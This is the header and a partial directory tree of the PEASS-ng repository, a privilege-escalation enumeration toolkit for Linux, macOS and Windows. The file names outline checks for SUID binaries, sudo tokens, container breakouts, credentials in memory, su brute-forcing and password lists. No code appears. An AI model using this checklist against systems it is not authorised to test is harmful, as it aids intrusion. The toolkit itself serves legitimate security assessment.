Repository: peass-ng/PEASS-ng Branch: master Commit: 1fb7aefa40e0 Files: 1527 Total size: 13.6 MB Directory structure: gitextract_fcy00g0p/ ├── .github/ │ ├── FUNDING.yml │ ├── ISSUE_TEMPLATE.md │ ├── chack-agent/ │ │ └── pr-merge-schema.json │ └── workflows/ │ ├── CI-master_tests.yml │ ├── PR-tests.yml │ ├── artifacts_cleanup.yml │ ├── chack-agent-pr-triage.yml │ ├── ci-master-failure-chack-agent-pr.yml │ ├── pr-failure-chack-agent-dispatch.yml │ └── update_windows_version_definitions.yml ├── .gitignore ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── TODO.md ├── build_lists/ │ ├── download_regexes.ps1 │ ├── download_regexes.py │ ├── sensitive_files.yaml │ ├── update_windows_version_defs.py │ └── windows_version_exploits.json ├── linPEAS/ │ ├── README.md │ ├── TODO.md │ ├── builder/ │ │ ├── README.md │ │ ├── __init__.py │ │ ├── linpeas_builder.py │ │ ├── linpeas_parts/ │ │ │ ├── 10_api_keys_regex/ │ │ │ │ └── regexes.sh │ │ │ ├── 1_system_information/ │ │ │ │ ├── 10_Environment.sh │ │ │ │ ├── 11_Dmesg.sh │ │ │ │ ├── 12_Macos_os_checks.sh │ │ │ │ ├── 16_Protections.sh │ │ │ │ ├── 17_Kernel_Modules.sh │ │ │ │ ├── 19_Kernel_Exploit_Registry.sh │ │ │ │ ├── 1_Operative_system.sh │ │ │ │ ├── 2_Sudo_version.sh │ │ │ │ ├── 3_USBCreator.sh │ │ │ │ ├── 4_Path.sh │ │ │ │ ├── 5_Date.sh │ │ │ │ ├── 6_CPU_info.sh │ │ │ │ ├── 7_Mounts.sh │ │ │ │ ├── 8_Disks.sh │ │ │ │ └── 9_Disks_extra.sh │ │ │ ├── 2_container/ │ │ │ │ ├── 1_Container_tools.sh │ │ │ │ ├── 2_List_mounted_tokens.sh │ │ │ │ ├── 3_Container_details.sh │ │ │ │ ├── 4_Docker_container_details.sh │ │ │ │ ├── 5_Container_breakout.sh │ │ │ │ └── 7_RW_bind_mounts_nosuid.sh │ │ │ ├── 3_cloud/ │ │ │ │ ├── 10_Azure_automation_account.sh │ │ │ │ ├── 11_DO_Droplet.sh │ │ │ │ ├── 13_Ali_Cloud.sh │ │ │ │ ├── 14_IBM_Cloud.sh │ │ │ │ ├── 15_Tencent_Cloud.sh │ │ │ │ ├── 1_Check_if_in_cloud.sh │ │ │ │ ├── 2_AWS_EC2.sh │ │ │ │ ├── 3_AWS_ECS.sh │ │ │ │ ├── 4_AWS_Lambda.sh │ │ │ │ ├── 5_AWS_Codebuild.sh │ │ │ │ ├── 6_Google_cloud_function.sh │ │ │ │ ├── 7_Google_cloud_vm.sh │ │ │ │ ├── 8_Azure_VM.sh │ │ │ │ └── 9_Azure_app_service.sh │ │ │ ├── 4_procs_crons_timers_srvcs_sockets/ │ │ │ │ ├── 10_Services.sh │ │ │ │ ├── 11_Systemd.sh │ │ │ │ ├── 12_Socket_files.sh │ │ │ │ ├── 13_Unix_sockets_listening.sh │ │ │ │ ├── 14_DBus_analysis.sh │ │ │ │ ├── 15_Rcommands_trust.sh │ │ │ │ ├── 16_Crontab_UI_misconfig.sh │ │ │ │ ├── 17_Deleted_open_files.sh │ │ │ │ ├── 1_List_processes.sh │ │ │ │ ├── 2_Process_cred_in_memory.sh │ │ │ │ ├── 3_Process_binaries_perms.sh │ │ │ │ ├── 4_Processes_PPID_different_user.sh │ │ │ │ ├── 5_Files_open_process_other_user.sh │ │ │ │ ├── 6_Different_procs_1min.sh │ │ │ │ ├── 7_Cron_jobs.sh │ │ │ │ ├── 8_Macos_launch_agents_daemons.sh │ │ │ │ └── 9_System_timers.sh │ │ │ ├── 5_network_information/ │ │ │ │ ├── 10_Macos_hardware_ports.sh │ │ │ │ ├── 11_Internet_access.sh │ │ │ │ ├── 1_Network_interfaces.sh │ │ │ │ ├── 2_Hostname_hosts_dns.sh │ │ │ │ ├── 3_Network_neighbours.sh │ │ │ │ ├── 4_Open_ports.sh │ │ │ │ ├── 5_Macos_network_capabilities.sh │ │ │ │ ├── 6_Macos_network_services.sh │ │ │ │ ├── 7_Tcpdump.sh │ │ │ │ ├── 8_Iptables.sh │ │ │ │ └── 9_Inetdconf.sh │ │ │ ├── 6_users_information/ │ │ │ │ ├── 10_Pkexec.sh │ │ │ │ ├── 11_Superusers.sh │ │ │ │ ├── 12_Users_with_console.sh │ │ │ │ ├── 13_Users_groups.sh │ │ │ │ ├── 14_Login_now.sh │ │ │ │ ├── 15_Last_logons.sh │ │ │ │ ├── 17_Password_policy.sh │ │ │ │ ├── 18_Brute_su.sh │ │ │ │ ├── 1_Macos_my_user_hooks.sh │ │ │ │ ├── 1_My_user.sh │ │ │ │ ├── 2_Macos_user_hooks.sh │ │ │ │ ├── 3_Macos_keychains.sh │ │ │ │ ├── 4_Macos_systemkey.sh │ │ │ │ ├── 5_Pgp_keys.sh │ │ │ │ ├── 6_Clipboard_highlighted_text.sh │ │ │ │ ├── 7_Sudo_l.sh │ │ │ │ ├── 8_Sudo_tokens.sh │ │ │ │ └── 9_Doas.sh │ │ │ ├── 7_software_information/ │ │ │ │ ├── 1_Useful_software.sh │ │ │ │ ├── 2_Compilers.sh │ │ │ │ ├── 3_Macos_writable_installed_apps.sh │ │ │ │ ├── Apache_nginx.sh │ │ │ │ ├── Awsvault.sh │ │ │ │ ├── Browser_profiles.sh │ │ │ │ ├── Cached_AD_hashes.sh │ │ │ │ ├── Containerd.sh │ │ │ │ ├── Docker.sh │ │ │ │ ├── Dovecot.sh │ │ │ │ ├── Extra_software.sh │ │ │ │ ├── FreeIPA.sh │ │ │ │ ├── Gitlab.sh │ │ │ │ ├── Kcpassword.sh │ │ │ │ ├── Kerberos.sh │ │ │ │ ├── Log4shell.sh │ │ │ │ ├── Logstash.sh │ │ │ │ ├── Mysql.sh │ │ │ │ ├── PGP_GPG.sh │ │ │ │ ├── PHP_Sessions.sh │ │ │ │ ├── Pamd.sh │ │ │ │ ├── Postgresql.sh │ │ │ │ ├── Postgresql_Event_Triggers.sh │ │ │ │ ├── Runc.sh │ │ │ │ ├── SKey.sh │ │ │ │ ├── Screen_sessions.sh │ │ │ │ ├── Splunk.sh │ │ │ │ ├── Ssh.sh │ │ │ │ ├── Tmux.sh │ │ │ │ ├── Vault_ssh.sh │ │ │ │ └── YubiKey.sh │ │ │ ├── 8_interesting_perms_files/ │ │ │ │ ├── 10_Read_creds_files.sh │ │ │ │ ├── 11_Root_files_home_dir.sh │ │ │ │ ├── 12_Others_files_in_my_dirs.sh │ │ │ │ ├── 13_Root_readable_files_notworld_readeble.sh │ │ │ │ ├── 14_Writable_files_owner_all.sh │ │ │ │ ├── 15_Writable_files_group.sh │ │ │ │ ├── 16_IGEL_OS_SUID.sh │ │ │ │ ├── 16_Writable_root_execs.sh │ │ │ │ ├── 1_SUID.sh │ │ │ │ ├── 2_SGID.sh │ │ │ │ ├── 3_Files_ACLs.sh │ │ │ │ ├── 4_Capabilities.sh │ │ │ │ ├── 5_Users_with_capabilities.sh │ │ │ │ ├── 6_Misconfigured_ldso.sh │ │ │ │ ├── 7_Files_etc_profile_d.sh │ │ │ │ ├── 8_Files_etc_init_d.sh │ │ │ │ └── 9_App_armour_profiles.sh │ │ │ ├── 9_interesting_files/ │ │ │ │ ├── 10_Others_homes.sh │ │ │ │ ├── 11_Mail_apps.sh │ │ │ │ ├── 12_Mails.sh │ │ │ │ ├── 13_Backup_folders.sh │ │ │ │ ├── 14_Backup_files.sh │ │ │ │ ├── 15_Db_files.sh │ │ │ │ ├── 16_Macos_downloaded_files.sh │ │ │ │ ├── 17_Web_files.sh │ │ │ │ ├── 18_Hidden_files.sh │ │ │ │ ├── 19_Readable_files_tmp_backups.sh │ │ │ │ ├── 1_Sh_files_in_PATH.sh │ │ │ │ ├── 20_Passwords_history_cmd.sh │ │ │ │ ├── 21_Passwords_history_files.sh │ │ │ │ ├── 22_Passwords_php_files.sh │ │ │ │ ├── 23_Passwords_files_home.sh │ │ │ │ ├── 24_Passwords_TTY.sh │ │ │ │ ├── 25_IPs_logs.sh │ │ │ │ ├── 26_Mails_addr_inside_logs.sh │ │ │ │ ├── 27_Passwords_in_logs.sh │ │ │ │ ├── 28_Files_with_passwords.sh │ │ │ │ ├── 29_Interesting_environment_variables.sh │ │ │ │ ├── 2_Date_in_firmware.sh │ │ │ │ ├── 3_Executable_files_by_user.sh │ │ │ │ ├── 4_Macos_unsigned_apps.sh │ │ │ │ ├── 5_Unexpected_in_opt.sh │ │ │ │ ├── 6_Unexpected_in_root.sh │ │ │ │ ├── 7_Modified_last_5mins.sh │ │ │ │ ├── 8_Writable_log_files.sh │ │ │ │ └── 9_My_home.sh │ │ │ ├── functions/ │ │ │ │ ├── checkContainerExploits.sh │ │ │ │ ├── checkCreateReleaseAgent.sh │ │ │ │ ├── checkDockerRootless.sh │ │ │ │ ├── checkDockerVersionExploits.sh │ │ │ │ ├── checkProcSysBreakouts.sh │ │ │ │ ├── check_aliyun_ecs.sh │ │ │ │ ├── check_aws_codebuild.sh │ │ │ │ ├── check_aws_ec2.sh │ │ │ │ ├── check_aws_ecs.sh │ │ │ │ ├── check_aws_lambda.sh │ │ │ │ ├── check_az_app.sh │ │ │ │ ├── check_az_automation_acc.sh │ │ │ │ ├── check_az_vm.sh │ │ │ │ ├── check_critial_root_path.sh │ │ │ │ ├── check_dns.sh │ │ │ │ ├── check_do.sh │ │ │ │ ├── check_external_hostname.sh │ │ │ │ ├── check_gcp.sh │ │ │ │ ├── check_ibm_vm.sh │ │ │ │ ├── check_icmp.sh │ │ │ │ ├── check_if_su_brute.sh │ │ │ │ ├── check_tcp_443.sh │ │ │ │ ├── check_tcp_443_bin.sh │ │ │ │ ├── check_tcp_80.sh │ │ │ │ ├── check_tencent_cvm.sh │ │ │ │ ├── containerCheck.sh │ │ │ │ ├── echo_no.sh │ │ │ │ ├── echo_not_found.sh │ │ │ │ ├── enumerateDockerSockets.sh │ │ │ │ ├── execBin.sh │ │ │ │ ├── exec_with_jq.sh │ │ │ │ ├── get_current_user_privot_pid.sh │ │ │ │ ├── inDockerGroup.sh │ │ │ │ ├── kernel_cve_registry_checks.sh │ │ │ │ ├── macosNotSigned.sh │ │ │ │ ├── print_info.sh │ │ │ │ ├── print_list.sh │ │ │ │ ├── print_ps.sh │ │ │ │ ├── search_for_regex.sh │ │ │ │ ├── su_brute_user_num.sh │ │ │ │ ├── su_try_pwd.sh │ │ │ │ └── warn_exec.sh │ │ │ ├── linpeas_base/ │ │ │ │ ├── 0_variables_base.sh │ │ │ │ ├── 1_check_network_jobs.sh │ │ │ │ └── 2_caching_finds.sh │ │ │ └── variables/ │ │ │ ├── EnvVarsRed.sh │ │ │ ├── GCP_BAD_SCOPES.sh │ │ │ ├── GCP_GOOD_SCOPES.sh │ │ │ ├── GREP_DOCKER_SOCK_INFOS.sh │ │ │ ├── GREP_DOCKER_SOCK_INFOS_IGNORE.sh │ │ │ ├── GREP_IGNORE_MOUNTS.sh │ │ │ ├── Groups.sh │ │ │ ├── INT_HIDDEN_FILES.sh │ │ │ ├── LDD.sh │ │ │ ├── MyUID.sh │ │ │ ├── NGINX_KNOWN_MODULES.sh │ │ │ ├── NOUSEPS.sh │ │ │ ├── NoEnvVars.sh │ │ │ ├── PASSTRY.sh │ │ │ ├── PATH.sh │ │ │ ├── READELF.sh │ │ │ ├── STRACE.sh │ │ │ ├── STRINGS.sh │ │ │ ├── TIMEOUT.sh │ │ │ ├── TIP_DOCKER_ROOTLESS.sh │ │ │ ├── USEFUL_SOFTWARE.sh │ │ │ ├── baduid.sh │ │ │ ├── capsB.sh │ │ │ ├── capsVB.sh │ │ │ ├── cfuncs.sh │ │ │ ├── commonrootdirsG.sh │ │ │ ├── commonrootdirsMacG.sh │ │ │ ├── containercapsB.sh │ │ │ ├── cronjobsB.sh │ │ │ ├── cronjobsG.sh │ │ │ ├── dbuslistG.sh │ │ │ ├── filename.sh │ │ │ ├── groupsB.sh │ │ │ ├── groupsVB.sh │ │ │ ├── idB.sh │ │ │ ├── kernel.sh │ │ │ ├── kernel_cve_registry_data.sh │ │ │ ├── knw_emails.sh │ │ │ ├── knw_grps.sh │ │ │ ├── knw_usrs.sh │ │ │ ├── ldsoconfdG.sh │ │ │ ├── mail_apps.sh │ │ │ ├── mountG.sh │ │ │ ├── mounted.sh │ │ │ ├── mountpermsB.sh │ │ │ ├── mountpermsG.sh │ │ │ ├── mygroups.sh │ │ │ ├── notBackup.sh │ │ │ ├── notExtensions.sh │ │ │ ├── notmounted.sh │ │ │ ├── processesB.sh │ │ │ ├── processesDump.sh │ │ │ ├── processesVB.sh │ │ │ ├── profiledG.sh │ │ │ ├── pwd_in_variables.sh │ │ │ ├── pwd_inside_history.sh │ │ │ ├── rootcommon.sh │ │ │ ├── shscripsG.sh │ │ │ ├── sidB.sh │ │ │ ├── sidG.sh │ │ │ ├── sidVB.sh │ │ │ ├── sudoB.sh │ │ │ ├── sudoG.sh │ │ │ ├── sudoVB1.sh │ │ │ ├── sudovB.sh │ │ │ ├── timersG.sh │ │ │ ├── top2000pwds.sh │ │ │ ├── usrs_sh.sh │ │ │ ├── writeB.sh │ │ │ └── writeVB.sh │ │ └── src/ │ │ ├── fileRecord.py │ │ ├── linpeasBaseBuilder.py │ │ ├── linpeasBuilder.py │ │ ├── linpeasModule.py │ │ ├── peasLoaded.py │ │ ├── peassRecord.py │ │ └── yamlGlobals.py │ └── tests/ │ ├── test_builder.py │ └── test_modules_metadata.py ├── metasploit/ │ ├── README.md │ └── peass.rb ├── parsers/ │ ├── README.md │ ├── __init__.py │ ├── json2html.ps1 │ ├── json2html.py │ ├── json2pdf.py │ ├── peas2json.ps1 │ └── peas2json.py ├── scripts/ │ └── add_mitre_tags.py └── winPEAS/ ├── README.md ├── winPEASbat/ │ ├── .gitattributes │ ├── README.md │ └── winPEAS.bat ├── winPEASexe/ │ ├── CMakeLists.txt │ ├── README.md │ ├── Tests/ │ │ ├── .vs/ │ │ │ └── winPEAS.Tests.csproj.dtbcache.json │ │ ├── App.config │ │ ├── ArgumentParsingTests.cs │ │ ├── ChecksArgumentEdgeCasesTests.cs │ │ ├── FodyWeavers.xml │ │ ├── FodyWeavers.xsd │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ ├── SmokeTests.cs │ │ ├── packages.config │ │ └── winPEAS.Tests.csproj │ ├── UpgradeLog.htm │ ├── binaries/ │ │ ├── Obfuscated Releases/ │ │ │ ├── Dotfuscated/ │ │ │ │ ├── any/ │ │ │ │ │ └── .gitkeep │ │ │ │ ├── x64/ │ │ │ │ │ └── .gitkeep │ │ │ │ └── x86/ │ │ │ │ └── .gitkeep │ │ │ ├── any.xml │ │ │ ├── x64.xml │ │ │ └── x86.xml │ │ ├── Release/ │ │ │ └── .gitkeep │ │ ├── x64/ │ │ │ └── Release/ │ │ │ └── .gitkeep │ │ └── x86/ │ │ └── Release/ │ │ └── .gitkeep │ ├── winPEAS/ │ │ ├── .vs/ │ │ │ └── winPEAS.csproj.dtbcache.json │ │ ├── 3rdParty/ │ │ │ ├── AlphaFS/ │ │ │ │ ├── Device/ │ │ │ │ │ ├── ChangeErrorMode.cs │ │ │ │ │ ├── Device.cs │ │ │ │ │ ├── DeviceInfo.cs │ │ │ │ │ ├── DiskSpaceInfo.cs │ │ │ │ │ ├── DriveInfo.cs │ │ │ │ │ └── Volume/ │ │ │ │ │ ├── Volume.DefineDosDevice.cs │ │ │ │ │ ├── Volume.DeleteDosDevice.cs │ │ │ │ │ ├── Volume.DeleteVolumeMountPoint.cs │ │ │ │ │ ├── Volume.DiskFreeSpace.cs │ │ │ │ │ ├── Volume.DriveType.cs │ │ │ │ │ ├── Volume.EnumerateVolumeMountPoints.cs │ │ │ │ │ ├── Volume.EnumerateVolumePathNames.cs │ │ │ │ │ ├── Volume.EnumerateVolumes.cs │ │ │ │ │ ├── Volume.GetDriveFormat.cs │ │ │ │ │ ├── Volume.GetDriveNameForNtDeviceName.cs │ │ │ │ │ ├── Volume.GetUniqueVolumeNameForPath.cs │ │ │ │ │ ├── Volume.GetVolumeDeviceName.cs │ │ │ │ │ ├── Volume.GetVolumeDisplayName.cs │ │ │ │ │ ├── Volume.GetVolumeGuid.cs │ │ │ │ │ ├── Volume.GetVolumeGuidForNtDeviceName.cs │ │ │ │ │ ├── Volume.GetVolumeInfo.cs │ │ │ │ │ ├── Volume.GetVolumePathName.cs │ │ │ │ │ ├── Volume.IsReady.cs │ │ │ │ │ ├── Volume.IsSameVolume.cs │ │ │ │ │ ├── Volume.IsVolume.cs │ │ │ │ │ ├── Volume.QueryDosDevice.cs │ │ │ │ │ ├── Volume.SetVolumeMountPoint.cs │ │ │ │ │ ├── Volume.VolumeLabel.cs │ │ │ │ │ ├── Volume.cs │ │ │ │ │ └── VolumeInfo.cs │ │ │ │ ├── Filesystem/ │ │ │ │ │ ├── ByHandleFileInfo.cs │ │ │ │ │ ├── CopyMoveArguments.cs │ │ │ │ │ ├── CopyMoveProgressRoutine.cs │ │ │ │ │ ├── CopyMoveResult.cs │ │ │ │ │ ├── Directory Class/ │ │ │ │ │ │ ├── Directory Compression/ │ │ │ │ │ │ │ ├── Directory.Compress.cs │ │ │ │ │ │ │ ├── Directory.CompressTransacted.cs │ │ │ │ │ │ │ ├── Directory.Decompress.cs │ │ │ │ │ │ │ ├── Directory.DecompressTransacted.cs │ │ │ │ │ │ │ ├── Directory.DisableCompression.cs │ │ │ │ │ │ │ ├── Directory.DisableCompressionTransacted.cs │ │ │ │ │ │ │ ├── Directory.EnableCompression.cs │ │ │ │ │ │ │ └── Directory.EnableCompressionTransacted.cs │ │ │ │ │ │ ├── Directory CopyMove/ │ │ │ │ │ │ │ ├── Directory.Copy.cs │ │ │ │ │ │ │ ├── Directory.CopyFolderTimestamps.cs │ │ │ │ │ │ │ ├── Directory.CopyTransacted.cs │ │ │ │ │ │ │ ├── Directory.Move.cs │ │ │ │ │ │ │ ├── Directory.MoveTransacted.cs │ │ │ │ │ │ │ └── Directory.ValidateMoveAction.cs │ │ │ │ │ │ ├── Directory Core Methods/ │ │ │ │ │ │ │ ├── Directory.CompressDecompressCore.cs │ │ │ │ │ │ │ ├── Directory.CopyMoveCore.cs │ │ │ │ │ │ │ ├── Directory.CopyMoveDirectoryCore.cs │ │ │ │ │ │ │ ├── Directory.CreateDirectoryCore.cs │ │ │ │ │ │ │ ├── Directory.CreateJunctionCore.cs │ │ │ │ │ │ │ ├── Directory.DeleteDirectoryCore.cs │ │ │ │ │ │ │ ├── Directory.DeleteDirectoryNative.cs │ │ │ │ │ │ │ ├── Directory.DeleteEmptySubdirectoriesCore.cs │ │ │ │ │ │ │ ├── Directory.DeleteJunctionCore.cs │ │ │ │ │ │ │ ├── Directory.EnableDisableEncryptionCore.cs │ │ │ │ │ │ │ ├── Directory.EncryptDecryptDirectoryCore.cs │ │ │ │ │ │ │ ├── Directory.EnumerateFileIdBothDirectoryInfoCore.cs │ │ │ │ │ │ │ ├── Directory.EnumerateFileSystemEntryInfosCore.cs │ │ │ │ │ │ │ ├── Directory.ExistsJunctionCore.cs │ │ │ │ │ │ │ ├── Directory.GetDirectoryRootCore.cs │ │ │ │ │ │ │ ├── Directory.GetParentCore.cs │ │ │ │ │ │ │ ├── Directory.GetPropertiesCore.cs │ │ │ │ │ │ │ ├── Directory.GetSizeCore.cs │ │ │ │ │ │ │ └── Directory.IsEmptyCore.cs │ │ │ │ │ │ ├── Directory Encryption/ │ │ │ │ │ │ │ ├── Directory.Decrypt.cs │ │ │ │ │ │ │ ├── Directory.DisableEncryption.cs │ │ │ │ │ │ │ ├── Directory.EnableEncryption.cs │ │ │ │ │ │ │ ├── Directory.Encrypt.cs │ │ │ │ │ │ │ ├── Directory.ExportEncryptedDirectoryRaw.cs │ │ │ │ │ │ │ └── Directory.ImportEncryptedDirectoryRaw.cs │ │ │ │ │ │ ├── Directory Junctions, Links/ │ │ │ │ │ │ │ ├── Directory.CreateJunction.cs │ │ │ │ │ │ │ ├── Directory.CreateJunctionTransacted.cs │ │ │ │ │ │ │ ├── Directory.CreateSymbolicLink.cs │ │ │ │ │ │ │ ├── Directory.CreateSymbolicLinkTransacted.cs │ │ │ │ │ │ │ ├── Directory.DeleteJunction.cs │ │ │ │ │ │ │ ├── Directory.DeleteJunctionTransacted.cs │ │ │ │ │ │ │ ├── Directory.ExistsJunction.cs │ │ │ │ │ │ │ └── Directory.ExistsJunctionTransacted.cs │ │ │ │ │ │ ├── Directory Time/ │ │ │ │ │ │ │ ├── Directory.CopyTimestamps.cs │ │ │ │ │ │ │ ├── Directory.CopyTimestampsTransacted.cs │ │ │ │ │ │ │ ├── Directory.GetChangeTime.cs │ │ │ │ │ │ │ ├── Directory.GetChangeTimeTransacted.cs │ │ │ │ │ │ │ ├── Directory.GetChangeTimeUtc.cs │ │ │ │ │ │ │ ├── Directory.GetChangeTimeUtcTransacted.cs │ │ │ │ │ │ │ ├── Directory.GetCreationTime.cs │ │ │ │ │ │ │ ├── Directory.GetCreationTimeTransacted.cs │ │ │ │ │ │ │ ├── Directory.GetCreationTimeUtc.cs │ │ │ │ │ │ │ ├── Directory.GetCreationTimeUtcTransacted.cs │ │ │ │ │ │ │ ├── Directory.GetLastAccessTime.cs │ │ │ │ │ │ │ ├── Directory.GetLastAccessTimeTransacted.cs │ │ │ │ │ │ │ ├── Directory.GetLastAccessTimeUtc.cs │ │ │ │ │ │ │ ├── Directory.GetLastAccessTimeUtcTransacted.cs │ │ │ │ │ │ │ ├── Directory.GetLastWriteTime.cs │ │ │ │ │ │ │ ├── Directory.GetLastWriteTimeTransacted.cs │ │ │ │ │ │ │ ├── Directory.GetLastWriteTimeUtc.cs │ │ │ │ │ │ │ ├── Directory.GetLastWriteTimeUtcTransacted.cs │ │ │ │ │ │ │ ├── Directory.SetCreationTime.cs │ │ │ │ │ │ │ ├── Directory.SetCreationTimeTransacted.cs │ │ │ │ │ │ │ ├── Directory.SetCreationTimeUtc.cs │ │ │ │ │ │ │ ├── Directory.SetCreationTimeUtcTransacted.cs │ │ │ │ │ │ │ ├── Directory.SetLastAccessTime.cs │ │ │ │ │ │ │ ├── Directory.SetLastAccessTimeTransacted.cs │ │ │ │ │ │ │ ├── Directory.SetLastAccessTimeUtc.cs │ │ │ │ │ │ │ ├── Directory.SetLastAccessTimeUtcTransacted.cs │ │ │ │ │ │ │ ├── Directory.SetLastWriteTime.cs │ │ │ │ │ │ │ ├── Directory.SetLastWriteTimeTransacted.cs │ │ │ │ │ │ │ ├── Directory.SetLastWriteTimeUtc.cs │ │ │ │ │ │ │ ├── Directory.SetLastWriteTimeUtcTransacted.cs │ │ │ │ │ │ │ └── Directory.SetTimestamps.cs │ │ │ │ │ │ ├── Directory.CountFileSystemObjects.cs │ │ │ │ │ │ ├── Directory.CountFileSystemObjectsTransacted.cs │ │ │ │ │ │ ├── Directory.CreateDirectory.cs │ │ │ │ │ │ ├── Directory.CreateDirectoryTransacted.cs │ │ │ │ │ │ ├── Directory.Delete.cs │ │ │ │ │ │ ├── Directory.DeleteEmptySubdirectories.cs │ │ │ │ │ │ ├── Directory.DeleteEmptySubdirectoriesTransacted.cs │ │ │ │ │ │ ├── Directory.DeleteTransacted.cs │ │ │ │ │ │ ├── Directory.EnumerateAlternateDataStreams.cs │ │ │ │ │ │ ├── Directory.EnumerateAlternateDataStreamsTransacted.cs │ │ │ │ │ │ ├── Directory.EnumerateDirectories.cs │ │ │ │ │ │ ├── Directory.EnumerateDirectoriesTransacted.cs │ │ │ │ │ │ ├── Directory.EnumerateFileIdBothDirectoryInfo.cs │ │ │ │ │ │ ├── Directory.EnumerateFileIdBothDirectoryInfoTransacted.cs │ │ │ │ │ │ ├── Directory.EnumerateFileSystemEntries.cs │ │ │ │ │ │ ├── Directory.EnumerateFileSystemEntriesTransacted.cs │ │ │ │ │ │ ├── Directory.EnumerateFileSystemEntryInfos.cs │ │ │ │ │ │ ├── Directory.EnumerateFileSystemEntryInfosTransacted.cs │ │ │ │ │ │ ├── Directory.EnumerateFiles.cs │ │ │ │ │ │ ├── Directory.EnumerateFilesTransacted.cs │ │ │ │ │ │ ├── Directory.EnumerateLogicalDrives.cs │ │ │ │ │ │ ├── Directory.Exists.cs │ │ │ │ │ │ ├── Directory.ExistsDrive.cs │ │ │ │ │ │ ├── Directory.ExistsTransacted.cs │ │ │ │ │ │ ├── Directory.GetAccessControl.cs │ │ │ │ │ │ ├── Directory.GetCurrentDirectory.cs │ │ │ │ │ │ ├── Directory.GetDirectories.cs │ │ │ │ │ │ ├── Directory.GetDirectoriesTransacted.cs │ │ │ │ │ │ ├── Directory.GetDirectoryRoot.cs │ │ │ │ │ │ ├── Directory.GetDirectoryRootTransacted.cs │ │ │ │ │ │ ├── Directory.GetFileIdInfo.cs │ │ │ │ │ │ ├── Directory.GetFileIdInfoTransacted.cs │ │ │ │ │ │ ├── Directory.GetFileInfoByHandle.cs │ │ │ │ │ │ ├── Directory.GetFileInfoByHandleTransacted.cs │ │ │ │ │ │ ├── Directory.GetFileSystemEntries.cs │ │ │ │ │ │ ├── Directory.GetFileSystemEntriesTransacted.cs │ │ │ │ │ │ ├── Directory.GetFileSystemEntryInfo.cs │ │ │ │ │ │ ├── Directory.GetFileSystemEntryInfoTransacted.cs │ │ │ │ │ │ ├── Directory.GetFiles.cs │ │ │ │ │ │ ├── Directory.GetFilesTransacted.cs │ │ │ │ │ │ ├── Directory.GetLinkTargetInfo.cs │ │ │ │ │ │ ├── Directory.GetLinkTargetInfoTransacted.cs │ │ │ │ │ │ ├── Directory.GetLogicalDrives.cs │ │ │ │ │ │ ├── Directory.GetParent.cs │ │ │ │ │ │ ├── Directory.GetParentTransacted.cs │ │ │ │ │ │ ├── Directory.GetProperties.cs │ │ │ │ │ │ ├── Directory.GetPropertiesTransacted.cs │ │ │ │ │ │ ├── Directory.GetSize.cs │ │ │ │ │ │ ├── Directory.GetSizeTransacted.cs │ │ │ │ │ │ ├── Directory.HasInheritedPermissions.cs │ │ │ │ │ │ ├── Directory.IsEmpty.cs │ │ │ │ │ │ ├── Directory.IsEmptyTransacted.cs │ │ │ │ │ │ ├── Directory.SetAccessControl.cs │ │ │ │ │ │ ├── Directory.SetCurrentDirectory.cs │ │ │ │ │ │ └── Directory.cs │ │ │ │ │ ├── DirectoryInfo Class/ │ │ │ │ │ │ ├── DirectoryInfo Compression/ │ │ │ │ │ │ │ ├── DirectoryInfo.Compress.cs │ │ │ │ │ │ │ ├── DirectoryInfo.Decompress.cs │ │ │ │ │ │ │ ├── DirectoryInfo.DisableCompression.cs │ │ │ │ │ │ │ └── DirectoryInfo.EnableCompression.cs │ │ │ │ │ │ ├── DirectoryInfo CopyToMoveTo/ │ │ │ │ │ │ │ ├── DirectoryInfo.CopyTo.cs │ │ │ │ │ │ │ ├── DirectoryInfo.CopyToMoveToCore.cs │ │ │ │ │ │ │ └── DirectoryInfo.MoveTo.cs │ │ │ │ │ │ ├── DirectoryInfo Encryption/ │ │ │ │ │ │ │ ├── DirectoryInfo.Decrypt.cs │ │ │ │ │ │ │ ├── DirectoryInfo.DisableEncryption.cs │ │ │ │ │ │ │ ├── DirectoryInfo.EnableEncryption.cs │ │ │ │ │ │ │ └── DirectoryInfo.Encrypt.cs │ │ │ │ │ │ ├── DirectoryInfo Junctions, Links/ │ │ │ │ │ │ │ ├── DirectoryInfo.CreateJunction.cs │ │ │ │ │ │ │ ├── DirectoryInfo.DeleteJunction.cs │ │ │ │ │ │ │ └── DirectoryInfo.ExistsJunction.cs │ │ │ │ │ │ ├── DirectoryInfo.CountFileSystemObjects.cs │ │ │ │ │ │ ├── DirectoryInfo.Create.cs │ │ │ │ │ │ ├── DirectoryInfo.CreateSubdirectory.cs │ │ │ │ │ │ ├── DirectoryInfo.CreateSubdirectoryCore.cs │ │ │ │ │ │ ├── DirectoryInfo.Delete.cs │ │ │ │ │ │ ├── DirectoryInfo.DeleteEmptySubdirectories.cs │ │ │ │ │ │ ├── DirectoryInfo.EnumerateAlternateDataStreams.cs │ │ │ │ │ │ ├── DirectoryInfo.EnumerateDirectories.cs │ │ │ │ │ │ ├── DirectoryInfo.EnumerateFileSystemInfos.cs │ │ │ │ │ │ ├── DirectoryInfo.EnumerateFiles.cs │ │ │ │ │ │ ├── DirectoryInfo.GetAccessControl.cs │ │ │ │ │ │ ├── DirectoryInfo.GetDirectories.cs │ │ │ │ │ │ ├── DirectoryInfo.GetFileIdInfo.cs │ │ │ │ │ │ ├── DirectoryInfo.GetFileSystemInfos.cs │ │ │ │ │ │ ├── DirectoryInfo.GetFiles.cs │ │ │ │ │ │ ├── DirectoryInfo.RefreshEntryInfo.cs │ │ │ │ │ │ ├── DirectoryInfo.SetAccessControl.cs │ │ │ │ │ │ └── DirectoryInfo.cs │ │ │ │ │ ├── Exceptions/ │ │ │ │ │ │ ├── AlreadyExistsException.cs │ │ │ │ │ │ ├── DeviceNotReadyException.cs │ │ │ │ │ │ ├── DirectoryNotEmptyException.cs │ │ │ │ │ │ ├── DirectoryReadOnlyException.cs │ │ │ │ │ │ ├── FileReadOnlyException.cs │ │ │ │ │ │ ├── InvalidTransactionException.cs │ │ │ │ │ │ ├── NotAReparsePointException.cs │ │ │ │ │ │ ├── NotSameDeviceException.cs │ │ │ │ │ │ ├── TransactionAlreadyAbortedException.cs │ │ │ │ │ │ ├── TransactionAlreadyCommittedException.cs │ │ │ │ │ │ ├── TransactionException.cs │ │ │ │ │ │ ├── TransactionalConflictException.cs │ │ │ │ │ │ ├── UnrecognizedReparsePointException.cs │ │ │ │ │ │ └── UnsupportedRemoteTransactionException.cs │ │ │ │ │ ├── File Class/ 